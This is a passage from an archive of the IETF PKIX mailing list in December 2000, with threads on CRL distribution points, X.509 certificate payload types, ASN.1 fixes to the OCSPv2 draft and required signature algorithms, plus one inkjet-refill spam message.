------=_NextPart_000_0404_01C0638A.5B8EDD60--



From owner-ietf-pkix@imc.org  Mon Dec 11 15:57:48 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA09248
	for <pkix-archive@odin.ietf.org>; Mon, 11 Dec 2000 15:57:48 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA05937;
	Mon, 11 Dec 2000 12:54:14 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 12:54:02 -0800
Received: from inkjetfills.com ([63.174.85.142])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA05879
	for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 12:54:01 -0800 (PST)
Date: Mon, 11 Dec 2000 14:50:42 -0600
From: "Irma Garcia" <irmag@inkjetfills.com>
Message-ID: <B65A9A42.1503B6@[63.174.85.142]>
To: ietf-pkix@imc.org
Subject: ALBAAT Ink Jet News  V17 / EA-3/ A-P
X-Mailer: eMerge 1.62
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

SALE from ALBAAT Ink Jet Fills!

Hewlett Packard Cartridge Refills  Only $14.95
http://orders.albaat.com/retail/entrance_special.html
Stock  #A51645A
Save over 50%

For Printers: 
Hewlett Packard 700/800 Series printers

We do need your empty cartridge to receive this special price!

You are receiving this email because you are a past or current customer ,
vendor , or have either inquired about or requested information from this
company. If you wish for us to remove you from our customer list, please
reply to this message to let us know and we will honor your request to
exclude you from further mailings.

Sincerely, 
Irma A. Garcia
irmag@inkjetfills.com
www.inkjetfills.com
Toll Free: 888-4 ALBAAT
http://www.inkjetfills.com/free.html
ALBAAT INKJET FILLS
12129 North Highway 620 #540
Austin, Texas  78750


From owner-ietf-pkix@imc.org  Tue Dec 12 03:48:52 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA22246
	for <pkix-archive@odin.ietf.org>; Tue, 12 Dec 2000 03:48:51 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id AAA08150;
	Tue, 12 Dec 2000 00:45:31 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 12 Dec 2000 00:45:09 -0800
Received: from mail.hobsoft.com.mt ([195.158.123.43])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA08041
	for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 00:45:08 -0800 (PST)
Received: from yuppi (10.111.111.34) by mail.hobsoft.com.mt (Worldmail 1.3.167) for ietf-pkix@imc.org; 12 Dec 2000 09:29:51 +0100
Message-ID: <00c301c06417$e9cf8290$226f6f0a@yuppi>
From: "Aaron Galea" <agalea@hobsoft.com.mt>
To: <ietf-pkix@imc.org>
Subject: Certificates - X.509
Date: Tue, 12 Dec 2000 09:45:43 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_00C0_01C06420.4B7D0730"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This is a multi-part message in MIME format.

------=_NextPart_000_00C0_01C06420.4B7D0730
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,

I have a problem when creating a certificate Payload. In RFC2408 it =
mentions 3 types of X.509 certificates, mainly: =20
  1.. X.509 Certificate - Signature                    4=20
  2.. X.509 Certificate - Key Exchange            5=20
  3.. x.509 Certificate - Attribute                    10=20
What is the difference between them??? or there is any other document =
that explain this??? The problem is that the SSL functions I am using =
return a whole X509 structure. It doesn't distinguish between these =
X.509.=20

Thanks,
Aaron

------=_NextPart_000_00C0_01C06420.4B7D0730
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><FONT face=3DArial><FONT size=3D-1>I =
have a problem=20
when creating a certificate Payload. In RFC2408 it mentions 3 types of =
X.509=20
certificates, mainly:</FONT></FONT>&nbsp; </DIV>
<OL>
  <LI><FONT face=3DArial><FONT size=3D-1>X.509 Certificate -=20
  =
Signature&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  4</FONT></FONT>=20
  <LI><FONT face=3DArial><FONT size=3D-1>X.509 Certificate - Key=20
  =
Exchange&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;=20
  5</FONT></FONT>=20
  <LI><FONT face=3DArial><FONT size=3D-1>x.509 Certificate -=20
  =
Attribute&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  10</FONT></FONT> </LI></OL>
<DIV><FONT face=3DArial><FONT size=3D-1>What is the difference between =
them??? or=20
there is any other document that explain this???</FONT></FONT>&nbsp;The =
problem=20
is that the SSL functions I am using return a whole X509 structure. It =
doesn't=20
distinguish between these X.509. </DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial><FONT size=3D-1>Thanks,</FONT></FONT></DIV>
<DIV><FONT face=3DArial><FONT=20
size=3D-1>Aaron</FONT></FONT></FONT></DIV></BODY></HTML>

------=_NextPart_000_00C0_01C06420.4B7D0730--



From owner-ietf-pkix@imc.org  Tue Dec 12 08:23:43 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA22804
	for <pkix-archive@odin.ietf.org>; Tue, 12 Dec 2000 08:23:42 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA12943;
	Tue, 12 Dec 2000 05:20:12 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 12 Dec 2000 05:17:30 -0800
Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA12695
	for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 05:17:19 -0800 (PST)
Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21)
	id <XJNAQX82>; Tue, 12 Dec 2000 08:10:20 -0500
Message-ID: <DD62792EA182FF4E99C2FBC07E3053BD8262F0@sottmxs09.entrust.com>
From: Sharon Boeyen <sharon.boeyen@entrust.com>
To: "'Jayant Sane (Exchange)'" <jayant@eLock.com>,
        Pkix List
	 <ietf-pkix@imc.org>
Subject: RE: Question about CRL DP
Date: Tue, 12 Dec 2000 08:20:09 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0643E.40193E40"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0643E.40193E40
Content-Type: text/plain;
	charset="iso-8859-1"

The CRL distribution points extension can appear in either a CA-certificate
or an end-entity certificate. Regardless of the certificate type, the
revocation list pointed to is one that would list the certificate (if it had
been revoked) that contains the extension. So, if you find the extension in
a CA-certificate it is pointing to an ARL (or a CRL that contains revocation
notices for CA-certificates). While it is possible that the revocation list
being pointed to also contains revocation notices for end-entity certs, you
can't assume that from this instance of the extension. That would be
indicated separately in the end-entity certs themselves.
 
Hope this helps
Sharon

-----Original Message-----
From: Jayant Sane (Exchange) [mailto:jayant@eLock.com]
Sent: Monday, December 11, 2000 3:52 PM
To: Pkix List
Subject: Question about CRL DP


This might be a naive question. 
 
Is it allowed/std practice to put the CRLDP extension in the issuer(CA) cert
such that the crl pointed to contains/lists revoked end-entity certs (issued
by it). 
I came across following certificate. 
End-entity cert has an AIA extension pointing to its issuer cert and the
issuer cert has both AIA, to its issuer, and CRLDP persumably pointing to a
CRL containing end-entity certs. The specs have'nt been very clear on the
placement of this extension (unless I am overlooking something) -- whether
it is more appropriate to put the CRLDP in the end-entity cert itself as
compared to the CA cert.
The one in the CA could be interpreted as one pointing to the CRL issued its
issuer. 
 
Some clarification would be greatly appreciated.
 
thanks,
Jayant


------_=_NextPart_001_01C0643E.40193E40
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.3105.105" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><SPAN class=101060813-12122000></SPAN><FONT size=2><FONT 
color=#0000ff><FONT face=Arial>T<SPAN class=101060813-12122000>he CRL 
distribution points extension can appear in either a CA-certificate or an 
end-entity certificate. Regardless of the certificate type, the revocation list 
pointed to is one that would list the certificate (if it had been revoked) that 
contains the extension. So, if you find the extension in a CA-certificate it is 
pointing to an ARL (or a CRL that contains revocation notices for 
CA-certificates). While it is possible that the revocation list being pointed to 
also contains revocation notices for end-entity certs, you can't assume that 
from this instance of the extension. That would be indicated separately in the 
end-entity certs themselves.</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=2><FONT color=#0000ff><FONT face=Arial><SPAN 
class=101060813-12122000></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
<DIV><FONT size=2><FONT color=#0000ff><FONT face=Arial><SPAN 
class=101060813-12122000>Hope this helps</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=2><FONT color=#0000ff><FONT face=Arial><SPAN 
class=101060813-12122000>Sharon</SPAN></FONT></FONT></FONT></DIV>
<BLOCKQUOTE 
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
  <DIV class=OutlookMessageHeader><FONT face="Times New Roman" 
  size=2>-----Original Message-----<BR><B>From:</B> Jayant Sane (Exchange) 
  [mailto:jayant@eLock.com]<BR><B>Sent:</B> Monday, December 11, 2000 3:52 
  PM<BR><B>To:</B> Pkix List<BR><B>Subject:</B> Question about CRL 
  DP<BR><BR></DIV></FONT>
  <DIV><FONT face=Arial size=2>This might be a naive question. </FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>Is it allowed/std practice to put the CRLDP 
  extension in the issuer(CA) cert such that the crl pointed to contains/lists 
  revoked end-entity certs (issued by it). </FONT></DIV>
  <DIV><FONT face=Arial size=2>I came across following certificate. 
</FONT></DIV>
  <DIV><FONT face=Arial size=2>End-entity cert has an AIA extension pointing to 
  its issuer cert and the issuer cert has both AIA, to its issuer, and CRLDP 
  persumably pointing to a CRL containing end-entity certs. The specs have'nt 
  been very clear on the placement of this extension (unless I&nbsp;am 
  overlooking something) -- whether it is more appropriate to put the&nbsp;CRLDP 
  in the end-entity cert itself as compared to the CA cert.</FONT></DIV>
  <DIV><FONT face=Arial size=2>The one in the CA could be interpreted as one 
  pointing to the CRL issued its issuer. </FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>Some clarification would be greatly 
  appreciated.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>thanks,</FONT></DIV>
  <DIV><FONT face=Arial size=2>Jayant</FONT></DIV></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C0643E.40193E40--


From owner-ietf-pkix@imc.org  Tue Dec 12 11:13:39 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA13488
	for <pkix-archive@odin.ietf.org>; Tue, 12 Dec 2000 11:13:38 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA26261;
	Tue, 12 Dec 2000 08:10:11 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 12 Dec 2000 08:10:02 -0800
Received: from mail.spyrus.com (mail.spyrus.com [207.212.34.20])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA26200
	for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 08:10:00 -0800 (PST)
Received: from RHOUSLEY-PC.spyrus.com (ietf.207.137.70.175.tx.verio.net [207.137.70.175])
	by mail.spyrus.com (8.9.3/8.9.3) with ESMTP id IAA09940;
	Tue, 12 Dec 2000 08:08:18 -0800 (PST)
Message-Id: <5.0.1.4.2.20001212081843.0297a2d0@mail.spyrus.com>
X-Sender: rhousley@mail.spyrus.com (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 5.0.1
Date: Tue, 12 Dec 2000 08:35:43 -0500
To: "Jayant Sane \(Exchange\)" <jayant@eLock.com>
From: Russ Housley <housley@spyrus.com>
Subject: Re: Question about CRL DP
Cc: "Pkix List" <ietf-pkix@imc.org>
In-Reply-To: <040701c063b4$4c261080$15e7533f@elock.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

RFC 2459, section 4.2.1.14 says:

    The CRL distribution points extension identifies how CRL information
    is obtained.  The extension SHOULD be non-critical, but this profile
    recommends support for this extension by CAs and applications.
    Further discussion of CRL management is contained in section 5.

    If the cRLDistributionPoints extension contains a
    DistributionPointName of type URI, the following semantics MUST be
    assumed: the URI is a pointer to the current CRL for the associated
    reasons and will be issued by the associated cRLIssuer.  The expected
    values for the URI are those defined in 4.2.1.7. Processing rules for
    other values are not defined by this specification.  If the
    distributionPoint omits reasons, the CRL MUST include revocations for
    all reasons. If the distributionPoint omits cRLIssuer, the CRL MUST
    be issued by the CA that issued the certificate.

We should probably be more explicit in the first sentence.  The CRL DP 
extension tells how to obtain CRL information for the certificate that 
contains the extension.  I will try to improve the sentence before 
son-of-RFC 2459 goes to last call.

Russ

At 03:52 PM 12/11/2000 -0500, Jayant Sane wrote:
>This might be a naive question.
>
>Is it allowed/std practice to put the CRLDP extension in the issuer(CA) 
>cert such that the crl pointed to contains/lists revoked end-entity certs 
>(issued by it).
>I came across following certificate.
>End-entity cert has an AIA extension pointing to its issuer cert and the 
>issuer cert has both AIA, to its issuer, and CRLDP persumably pointing to 
>a CRL containing end-entity certs. The specs have'nt been very clear on 
>the placement of this extension (unless I am overlooking something) -- 
>whether it is more appropriate to put the CRLDP in the end-entity cert 
>itself as compared to the CA cert.
>The one in the CA could be interpreted as one pointing to the CRL issued 
>its issuer.
>
>Some clarification would be greatly appreciated.
>
>thanks,
>Jayant



From owner-ietf-pkix@imc.org  Tue Dec 12 11:55:13 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA21938
	for <pkix-archive@odin.ietf.org>; Tue, 12 Dec 2000 11:55:12 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA28636;
	Tue, 12 Dec 2000 08:51:54 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 12 Dec 2000 08:51:45 -0800
Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA28601
	for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 08:51:44 -0800 (PST)
Received: from asn-1.com (user-2ivf1ol.dialup.mindspring.com [165.247.135.21])
	by tisch.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id LAA10006
	for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 11:54:19 -0500 (EST)
Message-ID: <3A3658F9.CDDCEE15@asn-1.com>
Date: Tue, 12 Dec 2000 11:57:29 -0500
From: "Phillip H. Griffin" <phil.griffin@asn-1.com>
Reply-To: phil.griffin@asn-1.com
Organization: Griffin Consulting  
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: pkix list <ietf-pkix@imc.org>
Subject: Comments on draft-ietf-pkix-ocspv2-01
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Following are comments on minor glitches I found in 
the OCSP ASN.1 module in draft-ietf-pkix-ocspv2-01.txt.


[1] The definition of type OCSPResponseStatus is in
    error due to style. A comment "--No more data available }"
   makes the required trailing "}" missing:

   OCSPResponseStatus ::= ENUMERATED {
                  snip
      noMoreData            (7)       --No more data available }

   Suggest changing the comment to bind this text with a
   second trailing "--" to yield "--No more data available -- }"

[2] The OCSP module attempts to import type CRLReason 
    from X.509 module AuthenticationFramework. But this
    enumerated type is not defined in that module, but is
    defined in the X.509 module CertificateExtensions {
    joint-iso-itu-t ds(5) module(1) 
    certificateExtensions(26) 4 }

    Suggested change follows.

    Note that the X.509 AuthenticationFramework module 
    defines well known ASN.1 types required by the OCSP 
    module, but which are imported from elsewhere. Types 
    CertificateSerialNumber and Extensions should be
    imported from the AuthenticationFramework module.

    Suggested change follows.

    The OCSP module attempts to import types GeneralName
    and Name from a module that has an EXPLICIT tags
    default. But type Name is defined in the X.501 
    InformationFramework module, which has an IMPLICIT
    tags default. Type GeneralName is defined in the
    X.509 CertificateExtensions module which also has
    an IMPLICIT tags default, and type GeneralName is
    not defined in the PKIX1Explicit88 module that is
    referenced by OCSP.

    Suggested change follows.
    
    Note that in the OCSP IMPORTS statement, the current 
    version (4th edition) of the Directory standards are
    not referenced.

    Suggest changing the OCSP IMPORTS statement to the
    following:


   -- Directory Information Framework (X.501) --

   Name 
      FROM InformationFramework { 
         joint-iso-itu-t ds(5) module(1) informationFramework(1) 3 }

   -- Directory Authentication Framework (X.509) --

   AlgorithmIdentifier, Certificate, CertificateSerialNumber,
   Extensions
      FROM AuthenticationFramework { 
         joint-iso-itu-t ds(5) module(1) 
            authenticationFramework(7) 4 }

   -- Directory Certificate Extensions (X.509) --

   CRLReason, GeneralName
      FROM CertificateExtensions {
         joint-iso-itu-t ds(5) module(1) 
            certificateExtensions(26) 4 }

   -- PKIX (RFC 2459) --

   AuthorityInfoAccessSyntax
      FROM PKIX1Implicit93 { 
         iso(1) identified-organization(3) dod(6) internet(1)
            security(5) mechanisms(5) pkix(7) id-mod(0) 
               id-pkix1-implicit-93(4) }

   id-ad-ocsp, id-kp 
      FROM PKIX1Explicit93 {
         iso(1) identified-organization(3) dod(6) internet(1) 
            security(5) mechanisms(5) pkix(7) id-mod(0) 
               id-pkix1-explicit-93(3) }

   -- Cryptographic Message Syntax

   IssuerAndSerialNumber
      FROM CryptographicMessageSyntax {
         iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1)
            pkcs-9(9) smime(16) modules(0) cms(1) };

[3] Type ReqCert references type IssuerandSerialNumber (note
    lowercase "and") in both the document text and the ASN.1
    module. But the OCSP module imports IssuerAndSerialNumber.

    Suggest changing this spelling to "And" in both places.

[4] The definition of module OCSP specifies an EXPLICIT
    tags default. This means that none of the uses of the
    EXPLICIT tagging modifier are needed elsewhere in the
    module, and they tend to make the ASN.1 more difficult
    to read.

    Suggest removing the text "EXPLICIT" from all places
    in this standard except for the one occurrence needed
    in the OCSP module definition statement.

[5] The comment on the definition of type UnknownInfo
    should be removed, as it will likely lead to problems
    of interworking between applications. If it is desired
    that both NULL and ENUMERATED be allowed, I suggest
    that type UnknownInfo be defined explicitly as a 
    CHOICE type.

Phil
----
Phillip H. Griffin      Griffin Consulting
http://asn-1.com        Secure ASN.1 Design & Implementation
+1-919-832-7008         1625 Glenwood Avenue, Five Points
+1-919-832-7390 [fax]   Raleigh, North Carolina  27608  USA
------------------------------------------------------------


From owner-ietf-pkix@imc.org  Tue Dec 12 20:48:40 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA02367
	for <pkix-archive@odin.ietf.org>; Tue, 12 Dec 2000 20:48:40 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id RAA23266;
	Tue, 12 Dec 2000 17:45:20 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 12 Dec 2000 17:45:03 -0800
Received: from ns1.49thietf.org (ietf.207.137.80.5.tx.verio.net [207.137.80.5])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA23235
	for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 17:45:02 -0800 (PST)
Received: from revelation (ietf.207.137.72.86.tx.verio.net [207.137.72.86])
	by ns1.49thietf.org (8.9.3+Sun/8.9.3) with SMTP id RAA06421
	for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 17:47:40 -0800 (PST)
Reply-To: <jimsch@nwlink.com>
From: "Jim Schaad" <jimsch@nwlink.com>
To: "IETF-PKIX \(E-mail\)" <ietf-pkix@imc.org>
Subject: Required Algorithms for Certificates
Date: Tue, 12 Dec 2000 17:45:55 -0800
Message-ID: <000001c064a6$7f8ab780$564889cf@soaringhawk.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

In reviewing the algorithm draft (draft-ietf-pkix-ipki-pkalgs-01.txt) again,
I remembered that I did have one problem with the draft.  I think that it is
fine that the certificate structure draft does not contain algorithm
information.  However I feel that the algorithms draft needs to have some
MUST style statements contained in it.  I propose adding the following text:

To fully comply with this document, implementations MUST support DSA
Signature (section 2.2.2).  Implementations MAY support MD2 RSA signatures
for validation but MUST NOT create new certificates using this algorithm.
Implementations MAY support all other algorithms in this document at their
discretion.

jim schaad



From owner-ietf-pkix@imc.org  Tue Dec 12 21:49:14 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA16334
	for <pkix-archive@odin.ietf.org>; Tue, 12 Dec 2000 21:49:13 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id SAA25099;
	Tue, 12 Dec 2000 18:45:19 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 12 Dec 2000 18:45:11 -0800
Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id SAA25061
	for <ietf-pkix@imc.org>; Tue, 12 Dec 2000 18:45:05 -0800 (PST)
Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21)
	id <YVKXP167>; Tue, 12 Dec 2000 21:47:47 -0500
Message-ID: <8D7EC1912E25D411A32100D0B76953975424BE@scygmxs01.cygnacom.com>
From: Santosh Chokhani <chokhani@cygnacom.com>
To: Russ Housley <housley@spyrus.com>,
        "Jayant Sane (Exchange)"
	 <jayant@eLock.com>
Cc: Pkix List <ietf-pkix@imc.org>
Subject: RE: Question about CRL DP
Date: Tue, 12 Dec 2000 21:41:25 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C064AE.2FE7C760"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C064AE.2FE7C760
Content-Type: text/plain;
	charset="iso-8859-1"

RFC 2459 is weak in the area of CRL DP processing.  If you want to do this
securely, please look at Annex B in Draft 2000 version of X.509 standard

-----Original Message-----
From: Russ Housley [mailto:housley@spyrus.com]
Sent: Tuesday, December 12, 2000 8:36 AM
To: Jayant Sane (Exchange)
Cc: Pkix List
Subject: Re: Question about CRL DP


RFC 2459, section 4.2.1.14 says:

    The CRL distribution points extension identifies how CRL information
    is obtained.  The extension SHOULD be non-critical, but this profile
    recommends support for this extension by CAs and applications.
    Further discussion of CRL management is contained in section 5.

    If the cRLDistributionPoints extension contains a
    DistributionPointName of type URI, the following semantics MUST be
    assumed: the URI is a pointer to the current CRL for the associated
    reasons and will be issued by the associated cRLIssuer.  The expected
    values for the URI are those defined in 4.2.1.7. Processing rules for
    other values are not defined by this specification.  If the
    distributionPoint omits reasons, the CRL MUST include revocations for
    all reasons. If the distributionPoint omits cRLIssuer, the CRL MUST
    be issued by the CA that issued the certificate.

We should probably be more explicit in the first sentence.  The CRL DP 
extension tells how to obtain CRL information for the certificate that 
contains the extension.  I will try to improve the sentence before 
son-of-RFC 2459 goes to last call.

Russ

At 03:52 PM 12/11/2000 -0500, Jayant Sane wrote:
>This might be a naive question.
>
>Is it allowed/std practice to put the CRLDP extension in the issuer(CA) 
>cert such that the crl pointed to contains/lists revoked end-entity certs 
>(issued by it).
>I came across following certificate.
>End-entity cert has an AIA extension pointing to its issuer cert and the 
>issuer cert has both AIA, to its issuer, and CRLDP persumably pointing to 
>a CRL containing end-entity certs. The specs have'nt been very clear on 
>the placement of this extension (unless I am overlooking something) -- 
>whether it is more appropriate to put the CRLDP in the end-entity cert 
>itself as compared to the CA cert.
>The one in the CA could be interpreted as one pointing to the CRL issued 
>its issuer.
>
>Some clarification would be greatly appreciated.
>
>thanks,
>Jayant

------_=_NextPart_001_01C064AE.2FE7C760
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Question about CRL DP</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>RFC 2459 is weak in the area of CRL DP =
processing.&nbsp; If you want to do this securely, please look at Annex =
B in Draft 2000 version of X.509 standard</FONT></P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Russ Housley [<A =
HREF=3D"mailto:housley@spyrus.com">mailto:housley@spyrus.com</A>]</FONT>=

<BR><FONT SIZE=3D2>Sent: Tuesday, December 12, 2000 8:36 AM</FONT>
<BR><FONT SIZE=3D2>To: Jayant Sane (Exchange)</FONT>
<BR><FONT SIZE=3D2>Cc: Pkix List</FONT>
<BR><FONT SIZE=3D2>Subject: Re: Question about CRL DP</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>RFC 2459, section 4.2.1.14 says:</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; The CRL distribution points =
extension identifies how CRL information</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; is obtained.&nbsp; The extension =
SHOULD be non-critical, but this profile</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; recommends support for this =
extension by CAs and applications.</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; Further discussion of CRL =
management is contained in section 5.</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; If the cRLDistributionPoints =
extension contains a</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; DistributionPointName of type =
URI, the following semantics MUST be</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; assumed: the URI is a pointer to =
the current CRL for the associated</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; reasons and will be issued by the =
associated cRLIssuer.&nbsp; The expected</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; values for the URI are those =
defined in 4.2.1.7. Processing rules for</FONT>
